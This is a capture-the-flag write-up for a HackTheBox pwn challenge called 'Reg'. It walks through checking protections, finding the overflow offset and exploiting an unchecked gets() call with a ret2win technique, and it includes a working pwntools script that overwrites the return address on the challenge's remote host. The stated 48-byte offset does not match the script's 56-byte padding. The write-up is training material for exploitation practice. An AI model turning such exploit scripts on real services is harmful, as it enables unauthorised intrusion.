Reg

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

This is a basic buffer flow exploit. Try to get the flag.

Solution Approach

Core idea: Buffer Overflow. Implement ret2win attack.

Steps

1. First, unzip the .zip file given.

2. Next, check the file type we got.

3. It's a 64 bit binary file, dynamically linked and not stripped. Since it's not stripped, hence it's easier for us debug or identify the function.

4. Now, check the binary's protection.

No canary Found (means we can do bufferoverflow concept).
No PIE (means a binary and all of it's dependencies are loaded not in random locations within virtual memory each time the application executed).
Partial RELRO (some sections of the binary are read only, preventing them from being modified).

1. Now run the file in gdb.

2. Let us enter 1024 cyclic pattern.

3. To find the correct bytes to overflow the buffer, copy all the RSP characters.

4. Then run this command -> cyclic -l haaaaaaa.

5. 48 Bytes.

6. Let us decompile the file with ghidra.

7. Check the run() function.

8. Based on the decompiled binary we got, the vuln is at the gets() function.

9. Notice there's a function named winner().

10. The concept here is ret2win, we can control the return address to the winner() function by overflow the buffer.

11. Now get the winner() address.

12. Convert that to decimal.

13. Here's our script so far.

THE SCRIPT

from pwn import *
import os

os.system('clear')
context.log_level = 'debug'
sh = remote('206.189.28.76',30687)
p = b'A' * 56
winAddr = 4198918 #0x401206
p += p64(winAddr)
sh.sendlineafter(b': ', p)
sh.interactive()

OUTPUT

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Buffer Overflow.
2. Implement ret2win attack.